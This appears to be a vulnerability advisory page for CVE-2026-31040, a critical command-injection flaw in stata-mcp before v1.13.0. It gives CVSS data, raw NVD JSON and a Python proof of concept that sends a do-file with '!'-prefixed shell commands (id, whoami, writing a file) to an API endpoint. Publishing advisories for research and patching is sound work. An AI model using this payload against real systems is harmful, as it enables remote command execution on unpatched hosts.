Security Vulnerability Report
中文
CVE-2026-31040 CVSS 9.8 CRITICAL

CVE-2026-31040

Published: 2026-04-08 16:16:23
Last Modified: 2026-04-14 19:31:55

Description

A vulnerability was identified in stata-mcp prior to v1.13.0 where insufficient validation of user-supplied Stata do-file content can lead to command execution.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:statamcp:stata-mcp:*:*:*:*:*:*:*:* - VULNERABLE
stata-mcp < v1.13.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Example, replace with actual vulnerable endpoint) target_url = "http://vulnerable-host:port/api/execute" # Malicious Stata do-file content # Stata allows shell command execution using the '!' prefix malicious_payload = """ * This is a malicious do-file display "Executing arbitrary command..." ! id ! whoami ! echo "CVE-2026-31040 PoC" > /tmp/poc.txt """ # Headers (if authentication is not required, headers might be minimal) headers = { "Content-Type": "application/json" } # Data payload structure (depends on API implementation) data = { "dofile_content": malicious_payload } try: print("[*] Sending PoC payload to target...") response = requests.post(target_url, json=data, headers=headers, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Response from server:") print(response.text) else: print(f"[-] Server returned status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31040", "sourceIdentifier": "[email protected]", "published": "2026-04-08T16:16:22.977", "lastModified": "2026-04-14T19:31:55.037", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in stata-mcp prior to v1.13.0 where insufficient validation of user-supplied Stata do-file content can lead to command execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:statamcp:stata-mcp:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.13.0", "matchCriteriaId": "CD23CBFB-6391-4291-9380-AE45481E555A"}]}]}], "references": [{"url": "https://github.com/SepineTam/stata-mcp/commit/52413ce", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/SepineTam/stata-mcp/issues/20", "source": "[email protected]", "tags": ["Vendor Advisory", "Issue Tracking"]}, {"url": "https://github.com/SepineTam/stata-mcp/pull/21", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/SepineTam/stata-mcp/releases/tag/v1.13.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/SepineTam/stata-mcp/issues/20", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory", "Issue Tracking"]}]}}